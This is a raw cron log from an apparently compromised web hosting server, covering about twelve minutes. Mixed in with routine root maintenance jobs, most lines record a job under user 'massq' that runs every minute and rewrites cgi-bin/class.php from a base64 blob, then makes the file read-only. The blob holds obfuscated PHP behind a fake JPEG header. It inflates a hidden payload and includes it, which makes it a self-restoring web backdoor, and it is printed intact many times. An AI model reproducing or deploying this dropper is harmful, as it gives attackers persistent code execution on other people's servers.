Nov  9 19:44:01 server CROND[10581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:45:01 server CROND[11156]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 19:45:01 server CROND[11157]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:45:01 server CROND[11158]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 19:46:01 server CROND[12047]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:47:01 server CROND[12625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:48:01 server CROND[13430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:49:01 server CROND[14194]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:50:01 server CROND[15002]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 19:50:01 server CROND[15003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 19:50:01 server CROND[15005]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 19:50:01 server CROND[15004]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 19:50:01 server CROND[15008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:51:01 server CROND[15964]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:52:01 server CROND[16783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:53:01 server CROND[17603]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:54:01 server CROND[18434]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:55:01 server CROND[19249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 19:55:01 server CROND[19250]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 19:55:01 server CROND[19251]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:56:01 server CROND[20129]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
